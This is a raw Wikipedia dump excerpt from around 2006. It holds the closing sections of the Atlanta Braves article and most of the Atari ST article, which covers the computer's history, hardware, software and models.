*[[Orlando Cepeda]]
*[[Eddie Mathews]]
*[[Phil Niekro]]
*[[Gaylord Perry]]
*[[Bruce Sutter]]
*[[Hoyt Wilhelm]]
|}

==Retired numbers==
* 3 [[Dale Murphy]], OF, Atlanta, 1976-90
* 21 [[Warren Spahn]], P, Boston 1942-52, Milwaukee 1953-64
* 35 [[Phil Niekro]], P, Milwaukee 1964-65, Atlanta 1966-83 &amp; 1 game in 1987
* 41 [[Eddie Mathews]], 3B, Boston 1952, Milwaukee 1953-65, Atlanta 1966; MGR 1972-74
* 44 [[Hank Aaron]], OF, Milwaukee 1954-65, Atlanta 1966-74

Murphy, Niekro, Aaron, and [[Paul Richards]], a former major league catcher and manager who served as Braves vice president 1966-72, are also members of the Georgia Sports Hall of Fame.

Mathews is the only player to have played for the Braves in all three cities.

==Current roster==
{{:Atlanta Braves roster}}

==Minor league affiliates==
*'''AAA:''' [[Richmond Braves]], [[International League]]
*'''AA:''' [[Mississippi Braves]], [[Southern League %28baseball%29|Southern League]]
*'''Advanced A:''' [[Myrtle Beach Pelicans]], [[Carolina League]]
*'''A:''' [[Rome Braves]], [[South Atlantic League]]
*'''Rookie:''' [[Danville Braves]], [[Appalachian League]]
*'''Rookie:''' [[Orlando Braves|GCL Braves]], [[Gulf Coast League]]

== See also ==
*[[Atlanta Braves/Award winners and league leaders|Braves award winners and league leaders]]
*[[Atlanta Braves/Team records|Braves statistical records and milestone achievements]]
*[[Atlanta Braves/Players of note|Braves players of note]]
*[[Atlanta Braves/Broadcasters|Braves broadcasters and media]]
*[[Atlanta Braves/Managers and ownership|Braves managers and ownership]]
*[[List of sports team names derived from Indigenous peoples]]

== External links ==
*[http://atlanta.braves.mlb.com/NASApp/mlb/atl/homepage/atl_homepage.jsp Atlanta Braves official web site]
*[http://www.sportznow.com/teams/atl.htm Atlanta Braves News, Stats, and Roster]
*[http://www.bravesnewsworld.com Atlanta Braves News World unofficial blog]
*[http://www.davidpietrusza.com/Boston_Braves_Finale.html Boston Braves Finale]

{{MLB}}

{{Time Warner}}

[[Category:Atlanta Braves| ]]
[[Category:Major League Baseball teams]]
[[Category:Time Warner subsidiaries]]

[[da:Atlanta Braves]]
[[de:Atlanta Braves]]
[[es:Atlanta Braves]]
[[fr:Braves d'Atlanta]]
[[ja:アトランタ・ブレーブス]]
[[sv:Atlanta Braves]]
[[zh:亞特蘭大勇士]]</text>
    </revision>
  </page>
  <page>
    <title>Atari ST</title>
    <id>2141</id>
    <revision>
      <id>41986681</id>
      <timestamp>2006-03-03T01:33:45Z</timestamp>
      <contributor>
        <username>DrBob</username>
        <id>2251</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/Ultrogonic|Ultrogonic]] ([[User talk:Ultrogonic|talk]]) to last version by 82.64.30.226</comment>
      <text xml:space="preserve">[[Image:Atari-520ST.jpg|thumb|300px|The Atari 520ST]]
[[Image:Atari 1040STf.jpg|thumb|right|300px|Atari 1040ST&lt;sup&gt;F&lt;/sup&gt; with SC1224 color monitor]]
The '''Atari ST''' is a [[home computer|home]]/[[personal computer]] that was commercially popular from 1985 to the early 1990s. It was released by [[Atari]] in [[1985]]. The &quot;ST&quot; allegedly stood for &quot;Sixteen/Thirty-two&quot;, which referred to the [[Motorola 68000]]'s 16-bit external bus and 32-bit internals.
&lt;!-- Commenting out; please see the talk page:Another theory is that ST really stood for &quot;Sam Tramiel&quot;, [[Jack Tramiel]]'s eldest son.--&gt;
&lt;!-- Commenting out; please see talk page:This is a plausible explanation, since the Atari ST also used a [[bumblebee]] as the busy mouse pointer image, which might be a reference to Jack's birth name (although the phrase &quot;busy as a bee&quot; was probably the more likely inspiration).--&gt;

==Overview==

The Atari ST was a notable [[home computer]], based on the [[Motorola 68000]] [[Central processing unit|CPU]], with 512&amp;nbsp;[[kilobyte|kB]] of [[Random Access Memory|RAM]] or more, and 3½&quot; [[floppy disk]]s as storage. It was similar to other contemporary machines which used the Motorola 68000, the [[Apple Macintosh]] and the [[Commodore Amiga]]. Although the Macintosh was the first widely available computer with a [[graphical user interface]] (GUI), it was however limited to a lower-resolution monochromatic display on a smaller built-in monitor. The Atari ST was the first computer with a fully bit-mapped color GUI. It had an innovative single-chip graphics subsystem (designed by Shiraz Shivji) which shared the full amount of system memory, in alternating clock cycles, with the processor, similar to the earlier [[BBC Micro]] and the Unified Memory systems that have become common today.  It was also the first home computer with integral [[Musical Instrument Digital Interface|MIDI]] support.

The ST was primarily a competitor to the [[Commodore Amiga]] systems. This platform rivalry was often reflected by the owners and was most prominent in the [[Demo Scene]]. Where the Amiga had custom hardware which gave it the edge in the [[computer game|games]] and videowork market, the ST was generally cheaper and slightly faster at basic operation. Thanks to its built-in [[MIDI]] ports it enjoyed success as a [[music sequencer]] and [[controller]] of [[musical instrument]]s among amateurs and professionals alike, being used in concert by bands such as [[Tangerine Dream]] and 90's UK dance act [[808 State]]. In some markets, particularly [[Germany]], the machine gained a strong foothold as a [[small business]] machine for [[CAD]] and [[Desktop publishing]] work.

The ST was later superseded by the [[Atari TT]] and [[Atari Falcon|Falcon]] computers, and ST technology was used in the creation of the [[Atari Jaguar]] video game console.

Since Atari pulled out of the computer market there has been a market for powerful [[Atari TOS|TOS]]-based machines (clones). Like most &quot;retro&quot; computers the Atari enjoys support in the [[emulator]] scene.

== Origins ==

Atari had created two released machines in the form of the [[Atari 2600]] console (also known as ''VCS'') and the various [[Atari 8-bit family|Atari 8-bit]] based home computers. Both of these lines were created around the [[MOS Technology 6502|6502]] [[central processing unit|CPU]] and included a number of additional chips assisting this rather basic, but cost-effective CPU in providing graphics and sound. In fact the 8-bit machines had originally intended to be the replacement for the 2600, but they were later reengineered as home computers.

As Atari grew and the management was shuffled by [[Time Warner|Warner]] (their parent company), the creators of the 2600 and 8-bit machines eventually got fed up and left. A group of them led by [[Jay Miner]] formed a small [[think tank]] called '''Amiga''' in [[1982]] and set about creating the third generation machine, this time based on the much more powerful 68000 CPU.

During this time, the [[home computer]] market started to slow down, and the video game market underwent the great [[video game crash of 1983]]. Warner management decided to &quot;get out&quot; and started looking to sell Atari outright. Meanwhile many of the same effects were in the process of decimating [[Commodore International]]. An argument involving Commodore's chairman and largest shareholder Irving Gould, and [[Jack Tramiel]] ensued over development of a new 68000 system, resulting in Tramiel's immediate departure from Commodore in January of [[1984]].

Tramiel immediately formed a [[holding company]], '''Tramiel Technology''', and brought in a number of ex-Commodore staff to continue his project to develop a new, high-performance home computer. While this team, led by Shiraz Shivji, worked on the design, Tramiel discovered that Warner Communications wanted to sell Atari Corp. Tramiel purchased Atari Corp, mainly for the overseas manufacturing and dealer network. The design team considered &quot;one-upping&quot; the Macintosh by using a full [[32-bit]] chip, namely the [[NS32032]], but in talks, [[National Semiconductor]] couldn't supply the numbers, or price, the project needed. In retrospect this proved to be lucky, as a prototype built on the NS32032 benchmarked slower than the 16-bit 68000.

The basic hardware design quickly &quot;gelled&quot; into a form that was almost identical to the ST that eventually shipped. The design used off-the-shelf parts where possible. Disk drive support was provided by the [[WD1772]], a standard [[Western Digital]] chip, and sound from a [[General Instruments AY-3-8912|Yamaha YM2149]]. Serial, MIDI, and other I/O functions were provided by standard [[Motorola]] chips. The custom chips included a memory controller, the simple &quot;Shifter&quot; graphics chip, a [[Direct memory access|DMA]] controller, and the &quot;GLUE&quot; interrupt handler.

At about the same time, Amiga were desperate for a buyer or investor, and the &quot;Warner owned&quot; Atari had paid Amiga for development work (''see: [http://www.atarimuseum.com/articles/mickey.html &quot;TOP SECRET: Confidential Atari-Amiga Agreement&quot;]''). In return Atari was to get one-year exclusive use of the design. Atari was also working on a &quot;high-end&quot; 68000 based machine at the time, so it is not clear what their intentions for the Amiga design were.

By May Tramiel had secured his funding, bought the remains of Atari from Warner for a very low price, and set about re-creating his empire. One of his first acts was to fire practically all of Atari's highly respected engineering staff, and cancel almost all ongoing development. The Amiga crew was upset, and soon entered discussions with Commodore that led to them purchasing Amiga, and quickly cancelling Atari's license. Tramiel was furious, and the resulting court case lasted for years. Finally, it settled out of court, the details of which remain secret.

Work thus continued with the design started at Tramiel Technology. With the basic design complete, the team started looking at solutions for the [[operating system]]. Soon after the buyout [[Microsoft]] approached Tramiel with the suggestion that they port [[Microsoft Windows|Windows]] to the platform, but the delivery date was out about two years, far too long for their needs. Another possibility was [[Digital Research]], who were working on a new GUI-based system then known as Crystal, soon to become [[Graphical Environment Manager|GEM]]. A final possibility was to write a new system in-house, but this was eventually rejected due to risk.

DR seemed generally uninterested in porting the system, so a team from Atari was sent to the DR Monterey headquarters to do it themselves. They were given the latest versions of the [[Intel 8086]] code from their DR counterparts, and would port it to the 68000 as quickly as possible. A version, running on top of [[CP/M|CP/M-68K]], was available just in time for the January 1985 [[CES]], where the ST was introduced.

[[Image:Atari_TOS_1_0.png|right|TOS 1.0 with the GEM user interface]]CP/M-68K was essentially a direct port of CP/M's original, and very old, operating system. By 'modern' standards of 1985, it was rather outdated both in terms of command structure, and that it didn't support hierarchical file systems. DR was also in the process of building a new [[DOS]]-like operating system specifically for GEM, '''GEMDOS''', and there was some discussion of whether or not a port of GEMDOS could be complete in time for product delivery in June. The decision was eventually taken to port it, resulting in a GEM/GEMDOS system Atari referred to as [[Atari TOS|TOS]] (officially '''The Operating System''', unofficially re-extrapolated as '''Tramiel Operating System''' by sceners). This was beneficial to the system, as it allowed the ST to read and write standard [[IBM PC]] disks.
 
The design shipped in June 1985 as the '''520ST'''. The machine had gone from concept to store shelves in a little under a year. Atari had originally intended to release versions with 128&amp;nbsp;[[kilobyte|kB]] and 256&amp;nbsp;kB of RAM as the '''130ST''' and '''260ST''' respectively, but the rapidly falling prices of RAM at the time led them to cancel these versions and it was released with 512&amp;nbsp;kB only. In [[1986]] the '''1040ST&lt;sup&gt;F&lt;/sup&gt;''' (also written '''STF''') shipped with 1&amp;nbsp;[[mebibyte|MiB]] of RAM and featured an integral [[power supply]] and double sided floppy-disk drive. The '''1040ST''' was the first personal computer shipped with a base RAM configuration of 1&amp;nbsp;MiB, and when the list price was reduced to $999 in the U.S. it became the first computer to break the $1000/MiB price barrier. However, the ST remained generally the same internally over the majority of its several-year lifespan. The choice of model numbers was inherited from the model-numbers of the ''XE series'' of the [[Atari 8-bit family]] of computers.

==Description==

The 520ST was an all-in-one unit, similar to earlier home computers like the [[Commodore 64]]. However, by this time the market demanded a &quot;full sized&quot; keyboard, including cursor keys and a numeric keypad. For this reason the 520ST was fairly &quot;boxy&quot;, generally oversized for a machine that one had to move around to adjust the keyboard position. Adding to this problem was the number of large cables needed to connect to the peripherals. This problem was addressed to some degree in the follow-on models which included a built-in floppy disk, though this addition resulted in a notoriously bad repositioning of the mouse and joystick sockets to a cramped niche ''underneath'' the keyboard (as the mouse shared a socket with the second joystick, any user wanting to both use the GUI and play games against a friend would find themselves regularly going through the frustrating and painful ritual of lifting the entire machine up at 45 degrees, before eking out one plug and struggling the other one in - whilst trying not to break anything).

Following most machines of the era, and thus differing greatly from earlier Atari designs, the ST used a large number of one-off ports mounted on the rear of the machine. In addition to power and monitor connections (plus TV-out where fitted), the ST included an [[RS-232]] serial port, a [[Centronics]] parallel printer connection, two Atari-standard [[joystick]]/mouse ports (relocated on the more integrated machines - see above), an ACSI (not [[SCSI]]) [[hard drive]] connector, the floppy disk connector (retained on later machines to allow a two-disc setup), a rarely-used cartridge port, and two MIDI ports. An interesting feature of the Centronics port as supplied was that it could also be used for joystick input (a distinctly off-spec alteration of the standard), and several games made use of available adaptors that plugged into the printer socket and provided two additional 9-pin joystick ports - notably classics Gauntlet and Gauntlet II, and Dynablaster (UK release name for Bomberman - also allowing one player to enter the fray using keyboard control for a frenetic 5-way battle)... even without an army of friends this was useful on games that supported it, to allow a 2-player match without having to undergo the tiresome mouse/joystick swapping ritual.

The case followed the Tramiel-Atari design of the era, being basically wedge shaped, with a series of grilles cut into the rear for airflow. The original 520ST design used an external floppy drive, the 1040ST-style case featured a built-in floppy drive. The power supply for the early 520ST was a large external brick while the 1040ST's was inside the machine. In addition the majority of the machines had keyboards with a very soft tactile feedback, not as good as those on the IBM PC, with unique and strange rhomboid function keys across the top edge. The design was much improved with the '''Mega ST''' series which included a detached high-quality keyboard and stronger case, but this apparently cost too much to produce and the design was not used widely.

Atari initially used single-sided [[floppy disk|disk drives]] that could store up to 360&amp;nbsp;[[kilobyte|kB]]. Later drives were double-sided versions that stored 720&amp;nbsp;kB. Due to the early sales of so many of the single-sided drives, almost all software would ship on two single-sided disks instead of a single double-sided one, in fear of cutting off all the other owners. The situation was complicated by the single sided drives somehow having their read/write head mounted on the 'wrong' side of the disc, compared to most other single sided drives, and the 'first' head of double sided drives - ST magazines wishing to cater for the entire audience whilst still supplying a large amount of material on a single cover disc had to adopt innovative custom formats to work around this problem. Another sticking point was that the Atari double-sided drive could read IBM formatted disks, but IBM PCs could not read Atari disks. This was a 'minor' formatting issue that was later resolved by third-party software formatters and TOS upgrades.

Additionally they had originally intended to include GEM's GDOS hardware abstraction layer, which allowed programs to draw (display, print, etc.) graphics to any supported device with no changes. This allowed developers to write a program for display to the screen, and get high quality printing &quot;for free&quot;. However GDOS was not ready at the time the ST started shipping, and while Atari promised to include it as soon as possible, it was not released until much later. This left printing support up to the developers, who had to create their own engines for every possible printer.

Similarly the custom &quot;[[BLiTTER]]&quot; was to be included to speed the performance of graphics operations on the screen, but this was isolated to their higher-end machines (e.g. later 1MiB 1040STFM models with TOS v1.04) and the enhanced '''STE''' models when it was eventually released. As a result, even when the BLiTTER eventually shipped, it was ignored by game developers because it was not present on all machines. However, properly written GEM programs could use the BLiTTER seamlessly since the GEM [[Application programming interface|API]] had always supported it.

On the plus side the ST was less expensive than most machines, including [[Apple Macintosh|Macintosh Plus]], and tended to be faster than most (''external link:'' [http://www.geocities.com/SiliconValley/Vista/3015/16bit.html price comparison]). Largely as a result of the price/performance factor, the ST would go on to be a fairly big seller, notably in markets where the foreign exchange rates amplified prices. Indeed, the company's English advertising strapline of the era was 'power without the price'.

For this reason the ST was most popular in Europe, especially in Germany.  Also, the famously very crisp, 640 by 400 pixels picture of its [[monochrome|black &amp; white]] monitor (and unusually steady/easy on the eyes - for the time - 70 Hz refresh rate) made it popular for small-office applications. In fact, an Atari ST and reasonable [[terminal emulation]] software was much cheaper than a [[Digital Equipment Corporation|Digital]] [[VT220]] terminal, which was normally needed by offices with central computers.

== The enhanced STs ==

For about the first four years, nothing much had changed in the capabilities of the ST [[platform (computing)|platform]], except for new machines being released with greater RAM, and quietly introduced upgrades to the built-in TOS ROMs ('quietly', as they resolved various bugs or added 'missing' features that Atari didn't exactly wish to shout about), from the basic but functional v1.00 of 1985 through to the 'final' (for non-STE or Mega models) and much improved v1.04 'Rainbow TOS' of 1989 (named for the VCS-like scrolling colour bars in the Atari logo found in the top corner of the desktop and in the 'About' screen). In late [[1989]], [[Atari]] released the '''ST&lt;sup&gt;E&lt;/sup&gt;''' (also written '''STE''') &amp;mdash; a version of the ST with improvements to the multimedia hardware and operating system. 

The STE featured an increased colour palette of 4096 colours from the ST's 512 (though the maximum displayable palette of these without programming tricks was still limited to 16 in the lowest 320x200 resolution), and a new graphics accelerator hardware [[Blitter]] which could quickly move large blocks of data (most particularly, graphics sprites) around in RAM. It also included a new 2-channel digital sound-chip that, like the Amiga, could play 8-bit stereo samples in hardware at up to 50 kHz (the [[General Instruments AY-3-8912|Yamaha YM2149]] could only be coaxed into playing samples by means of software trickery, and then only low-quality 4-bit mono at low sample rates). Two analogue joystick-ports were added (two normal joysticks could be plugged into each port with an adaptor), with all four connectors now being relocated to more easily accessed locations on the side of the case, and RAM was now much more simply upgradable via [[SIMM]]s (previous upgrades requiring soldering new circuit boards or tricky snap-on &quot;piggyback&quot; chips). Despite all of this, it still ran at 8&amp;nbsp;[[megahertz|MHz]], and the enhanced hardware was clearly designed to catch up with, rather than improve upon the standard of the Amiga.

The '''STE''' models initially had serious operating system and hardware addressing conflicts resulting in many [[Application software|application]]s and [[computer game|games]] written for the ST line being unstable or even completely unusable (sometimes, this could be solved by expanding the RAM). To make matters worse, the built in floppy disk drives could not read as many tracks on a floppy disk as the built in floppy disk drives on older models. While this was not a problem for most users, some games used the extra tracks as a crude form of copy protection and as a means of cramming more data on the disk, and formatting as many as 86 tracks on an '80 track' disc was a common space-expanding option in custom formatting utilities. Furthermore, even having a joystick plugged in would sometimes cause strange behaviour with a few applications (such as ''[[First Word Plus]]'').

Very little use was made of the extra features of the STE: STE-enhanced and STE-only software was rare, generally being limited to serious art, CAD or music applications, with few enough even semi-major games taking advantage that they could be counted on your fingers. Quality did, however, seem to substitute for quantity, as the coders who took advantage of the new abilities used them to their fullest (STE-only is as common as STE-enhanced, representing software that would have taken enough of a hit being 'downgraded' to a vanilla machine as to not be worth using). Look in external links for Atari STE fanpage, there you will find what software uses special Atari STE features.

Atari went on to release the [[Atari MEGA STE|Mega STE]], an STE in a grey TT case that ran at a switchable 16&amp;nbsp;MHz, with extended video modes similar to some of those available on the TT or Falcon, high density (1.44 MB) floppy disc drive, and an optional built-in 3.5-inch hard disc. It also shipped with TOS v2.06, that offered some basic cosmetic tweaks to the desktop environment that seemed mainly in order to show off the new capabilities (coloured window elements, program icons as well as drives being placable on the desktop, desktop backgrounds, speed switch), no doubt with a good deal of less obvious tweaking to solve continuing compatibility issues.

At some time during the early '90s, the development of the ST-type computer line forked. On one branch was the high-end workstation-oriented [[Atari TT|TT]] (including the classic 32 MHz, 68030-based TT030 and the newer, less popular 40 MHz TT040), and on the other was the entertainment-oriented [[Atari Falcon|Falcon]] (also 68030-based, operating at only 16 MHz, but with improved video modes and extensive custom chip provision, particularly high quality audio DSPs) &amp;mdash; both of which were supposed to be ST compatible, but not particularly compatible with each other. By then, the Atari ST platform was dying and neither of these two machines took off in anything like the quantities that were hoped. Atari's legendarily bad development and marketing strategies did little to help matters, effectively condemning numerous very technically accomplished but commercially stillborn computers to a premature demise.

Following the implosion of Atari Corp and its dissolution as a going concern in the hardware manufacturing field (the name - along with debts and warehouses of increasingly obsolete stock - being sold on to many holders before ending up in the hands of Mattel), [[Medusa Computer Systems]] manufactured some powerful 3rd-party Atari Falcon/TT-compatible machines that used [[68040]] and [[68060]] processors, based around multimedia (particularly audio but also video), CAD and office uses. Similarly to Amiga, various hardware revivals along similar lines have been mooted, since by other manufacturers, then abandoned.

== Future of the platform ==

Despite the lack of a hardware supplier and commercial software vendors, there is a small active community dedicated to keeping the ST platform alive. There have been advancements in the operating system, software emulators (for Windows, Mac &amp; Linux), and some hardware developments. There are accelerator cards, such as the CT60 &amp; CT63, which is a (much needed) [[68060]] based accelerator card for the Falcon, and there is the [[Atari Coldfire Project]], which aims at developing an Atari-clone based on the [[Coldfire]] processor.

== Software ==

The ST was the first [[home computer]] with built-in MIDI ports, and there was plenty of MIDI-related software for use professionally in music studios, or by amateur enthusiasts. The popular Windows/Macintosh application ''[[Cubase]]'' originated on the Atari ST.

Music [[tracker]] software was popular on the ST, such as the ''[[The Carebears Demo Crew|TCB]] Tracker'', aiding the production of both surprisingly high quality music from the Yamaha synthesizer ('chiptunes') and Amiga-aping (if scratchy-sounding on non-STEs) 'module'-type sample driven pieces.

An innovative music composition program that combined the sample playing abilities of a tracker with conventional music notation (which was usually only found in MIDI software) was called ''Quartet'' (after it's 4-note polyphonic tracker, which displayed one monophonic stave at a time on colour screens).

Also popular on the ST was professional [[Desktop publishing]] software, such as ''Calamus''; office tools such as word processors and spreadsheets; and various CAD and CAM tools from amateur hobbyist to professional grade, all being largely targeted or even limited to high resolution monochrome-monitor owners. Several art programs were available for the system, despite its relatively limited abilities (Neopaint, Degas &amp; Degas Elite, Canvas, Deluxe Paint, Cyberpaint, etc), many featuring surprisingly advanced features such as 3D design, animation, and palette switching tricks for extra on-screen colours (most especially Spectrum512, which boasted an ability to allow every single available colour to be on-screen at once, and up to 46 in each scan line - the STE never had a Spectrum4096, but other more minor applications filled this speciality niche, one even going so far as to trick the shifter into displaying a maximum 19200 colours).

Some arguably over-ambitious (but ultimately functional) arts software was available for the machine, including dedicated 3D modellers, several raytracers (full screen, true colour renders of complex scenes could literally take days to compute for a single frame, and were only viewable with the aforementioned special packages), and even video capture and editing applications using special video capture 'dongles' connected using the cartridge port - low frame rate, mainly silent and monochrome, but progressing to sound and basic colour (in still frames) by the end of the machine's life.

There were many software development tools available for the Atari ST: 68000 assemblers, Pascal and C compilers, and novelty tools such as ''[[Shoot'Em-Up Construction Kit|SEUCK]]''. The ST came bundled with a disk that contained amongst other things ''[[ST BASIC]]'', the first BASIC for the ST. However, due to its poor quality, it was eventually replaced by other BASICs, such as ''[[GFA BASIC]]'', FaST BASIC (notable for being one of the few programs to actually be supplied as a ROM cartridge instead of on disc) and the relatively famous ''[[STOS BASIC programming language|STOS]]'', a cousin of AMOS on the Amiga, and powerful enough that it was used (with a compiler, opposed to its usual runtime interpreter) for the production of at least two commercial titles and an innumerable host of good quality shareware and public domain games.

The ST was one of the leading platforms for computer games from 1986 to 1988, inclusive, and continued as a mainstay of the scene for many years later, until succumbing to the greater success of the Amiga, and the rise of consoles and IBM PCs in the early-mid 90s, with some of the very best games not being released until 1992 or 1993.

Notable individuals who developed games on the ST include [[Peter Molyneux]], [[Doug Bell]], [[Jeff Minter]], [[Jeremy San]], [[James Hutchby]], [[Dimitri Koveos]] and [[David Braben]]. The first real-time 3D role-playing computer game, ''[[Dungeon Master (computer game)|Dungeon Master]]'', was first developed and released on the ST, and was the best-selling software ever produced for the platform. In the early [[1990s]] the software houses gradually stopped producing ST versions of their games as demand dried up, and the games' technical requirements increasingly outpaced what even a master programmer could achieve with the system (it is puzzling as to why so few Sega Genesis games were ported to either the ST or Amiga, as they shared the same CPU and much in the way of graphics and sound capability, even down to the Yamaha synth chip - the gamut of 90s ST games might otherwise have been much larger). The final 'big' game which was reputedly in development but didn't quite make it to publication was a port of 'Monkey Island II - LeChuck's Revenge' from LucasArts. An Amiga version had already made it to market, so an almost straight translation should have been easy from this existing 68000 code - however the small potential market must not have seemed worth the amount of work down-converting a (then-) record-breaking (and expensive to manufacture) seven floppy discs' worth of graphics, animation, sound and custom chip code would have represented. See ''[[List of Atari ST games]]'' and ''[[:Category:Atari ST games]]''.

Utility software was available to drive hardware add-ons such as video digitisers. Office Productivity and graphics software was also bundled with the ST ([[HyperPaint II]] by [[Dimitri Koveos]], [[HyperDraw]] by [[David Farmborough]], [[3D-Calc]] spreadsheet by Frank Schoonjans, and several others commissioned by [[Bob Katz]], later of [[Electronic Arts]]).

There was a thriving output of [[public domain]] and [[shareware]] software which was distributed by, in the days long before public internet access, [[public domain software library|public domain software libraries]] that advertised in magazines and on popular dial-up Bulletin Board Systems.

Remarkably, a modest core fanbase for the system, supporting a dwindling number of good quality print magazines, survived to the mid 90s and the birth of the modern, publicly accessible internet as we know it. Despite the limited graphics, memory, and temporary hard storage capabilities of the system, several email, FTP, telnet, IRC, and even full-blown graphical world wide web browser applications are available and usable on the ST.

=== Screenshots ===

{| class=&quot;toccolours&quot; border=&quot;1&quot; cellpadding=&quot;1&quot; style=&quot;border-collapse:collapse&quot;
|-
|[[Image:ST_Desktop.png|160px|Screenshot of GEM (Desktop)]]
|[[Image:ST_Neochrome.png|160px|Screenshot of Neochrome]]
|[[Image:ST_1st_Word.png|160px|Screenshot of 1st Word]]
|[[Image:ST_STZip.png|160px|Screenshot of STZip]]
|-bgcolor=&quot;#dcdcdc&quot;
|''[[Graphical Environment Manager|GEM]]'' (Desktop)
|''Neochrome''
|''1st Word''
|''STZip''
|-bgcolor=&quot;#ececec&quot;
|[[Atari]]/[[Digital Research]] ([[1985]])
|''Dave Staugas'' ([[1985]])
|''GST'' ([[1985]])
|''Vincent Pomey'' ([[1994]])
|}

{| class=&quot;toccolours&quot; border=&quot;1&quot; cellpadding=&quot;1&quot; style=&quot;border-collapse:collapse&quot;
|-
|[[Image:ST_Dungeon_Master_fight.png|160px|Screenshot of Dungeon Master]]
|[[Image:ST_Midi_Maze.png|160px|Screenshot of MIDI Maze]]
|[[Image:ST_Populous.png|160px|Screenshot of Populous]]
|[[Image:ST_Xenon_2.png|160px|Screenshot of Xenon 2 Megablast]]
|-bgcolor=&quot;#dcdcdc&quot;
|''[[Dungeon Master (computer game)|Dungeon Master]]''
|''[[MIDI Maze]]''
|''[[Populous]]''
|''[[Xenon 2 Megablast]]''
|-bgcolor=&quot;#ececec&quot;
|''[[Mirrorsoft]]''/[[FTL Games|FTL]] ([[1987]])
|''Hybrid Arts'' ([[1987]])
|[[Electronic Arts|EA]]/[[Bullfrog Productions|Bullfrog]] ([[1989]])
|''Bitmap Brothers'' ([[1989]])
|}

More screenshots can be found on the [[Atari ST/Games|Atari ST Games]] page.

== Technical specifications ==

===ST/ST&lt;sup&gt;F&lt;/sup&gt;/ST&lt;sup&gt;M&lt;/sup&gt;/ST&lt;sup&gt;FM&lt;/sup&gt;===

As originally released in the '''520ST''':

*CPU: [[Motorola 68000]] @ 8&amp;nbsp;[[megahertz|MHz]]
*RAM: 512&amp;nbsp;[[kilobyte|kB]] to a maximum of 4 MiB (depending on system purchased - later 3rd party upgrades extended this to 14 MiB by replacing the original limited capability MMU)
*Display modes: 320×200 (16 colour), 640×200 (4 colour), 640×400 (mono), palette of 512 colours (all resolutions and palettes extendible to some extent with software tricks)
*Sound: [[General Instruments AY-3-8912|Yamaha YM2149]] 3-voice squarewave plus 1-voice white noise mono soundchip (4-bit sample capable with software tricks)
*Drive: Single-sided 3½&quot; [[floppy disk]] drive, 360 kB capacity when formatted to standard 9 sector, 80 track layout.
*Ports: TV out (on ST-M and ST-FM models, NTSC or PAL standard RF modulated), [[MIDI]] in/out (with 'out-thru'), [[RS-232]] serial, [[Centronics]] parallel (printer), monitor ([[RGB]] or Composite Video colour and [[monochrome|mono]], 13-pin DIN), extra disk drive port (15 pin DIN), [[Direct memory access|DMA]] port (ACSI port, Atari Computer System Interface) for [[hard disk]]s and Atari Laser Printer (sharing RAM with computer system), joystick and mouse ports (9-pin MSX standard)
*[[Operating System]]: [[Atari TOS|TOS]] v1.00 ('''''T'''he '''O'''perating '''S'''ystem''/'Tramiel Operating System') with the [[Graphical Environment Manager]] (GEM) WiMP (Windows, Mouse, Pointer) GUI

Very early machines included the OS on a floppy disk (bootstrapped from a very small core boot ROM), but this was quickly replaced with (expanded capacity) [[Read-only memory|ROM]] versions of TOS 1.0 instead (this change also removed any possibility for memory specifications below 512 kB, as GEM loaded it's entire 192 kB code into faster RAM when booting the desktop). Soon after this change, most production models became ST&lt;sup&gt;F&lt;/sup&gt;s, with an integrated single (520STF / 512 kB RAM) or double (1040STF / 1024 kB RAM) sided double density drive built-in, but no other changes. The next later models used an upgraded version of TOS - 1.02 (also known as TOS 1.2). Another early addition (after about 6 months) was an [[RF Modulator]] that allowed the machine to be hooked to a colour TV when run in its low or medium resolution (525/625 line 60/50 Hz interlace, even on RGB monitors) modes, greatly enhancing the machine's saleability and perceived value (no need to buy a prohibitively expensive, even if exceptionally crisp and clear, monitor). These models were known as the '''520ST&lt;sup&gt;M&lt;/sup&gt;''' (or '''520STM'''). Later '''F''' and '''FM''' models of the 520 had a built in double-sided disk drive instead of a single-sided one. 

===ST&lt;sup&gt;E&lt;/sup&gt;===

As originally released in the '''520ST&lt;sup&gt;E&lt;/sup&gt;''':

*All of the features of the 520STFM
*Drive: Double-sided 3½&quot; [[floppy disk]] drive, 720 kB when formatted to standard 9-sector, 80-track parameters (over 900 kB with certain extended-sector and -track formats)
*Built in RF Modulator
*Extended palette of 4,096 available colours to choose from
*[[BLiTTER]] chip for fast movement of large data blocks around memory
*Hardware-support for horizontal and vertical fine scrolling (using BLiTTER)
*Sound: Additional [[National LMC 1992]] [[sound chip]] with 2-channel stereo 8-bit [[PCM]] sound at up to 50 kHz, with adjustable Bass and Treble EQ (output only).
*Memory: 30-pin SIMM memory slots allowing upgrades up to 4&amp;nbsp;[[mebibyte|MiB]] (allowable: 0.5, 1.0, 2.0, 2.5 and 4.0 MiB due to configuration restraints - later 3rd party upgrade kits allowing a maximum of 14mb, bypassing stock MMU)
*Ability to synchronise the video-timings with an external device so that a video [[Genlock]] device can be used without having to make any modifications to computer's hardware
*Additional ports: Stereo RCA jacks and two analogue joystick ports (with support for analogue devices such as paddles and light pens - no record of these ever being used! Two normal digital joysticks could be plugged into each analogue port with an adaptor). Standard mouse and joystick ports also moved to more accessible positions.
* [[Atari TOS|TOS]] 1.06 (also known as TOS 1.6) on ROM.

Later ST&lt;sup&gt;E&lt;/sup&gt; models had TOS 1.62 that fixed some major backwards-compatibility bugs in TOS 1.6.

== Models ==

A number of machines were released in the ST family. 
Here they are, in rough chronological order after the original 520ST:

* 520ST+ - Name for early 520STs with 1&amp;nbsp;MiB of RAM, but without floppy disk
* 260ST - European name for the 520ST with 512&amp;nbsp;kB. Used after the release of the 520ST+ to differentiate the cheaper 512&amp;nbsp;kB models from the 1&amp;nbsp;MiB models
* 520ST&lt;sup&gt;M&lt;/sup&gt; - a 520ST with a built-in modulator for TV output
* 520ST&lt;sup&gt;FM&lt;/sup&gt; - a 520STM with a newly redesigned motherboard in a larger case with a built-in floppy disk drive
* 1040ST&lt;sup&gt;F&lt;/sup&gt; - a 520STFM with 1&amp;nbsp;MiB of RAM and a built-in double-sided floppy disk, but without modulator
* 1040ST&lt;sup&gt;FM&lt;/sup&gt; - a 520STFM with 1&amp;nbsp;MiB of RAM and a built-in double-sided floppy disk
* Mega ST (MEGA2, MEGA4) - 1040 with 2 or 4&amp;nbsp;MiB of RAM, respectively, in a much improved &quot;[[pizza box]]&quot; case with a detached keyboard. These models included the BLiTTER chip, but the OS ROM was not upgraded and the extra GEM functionality needed to be booted from disk.
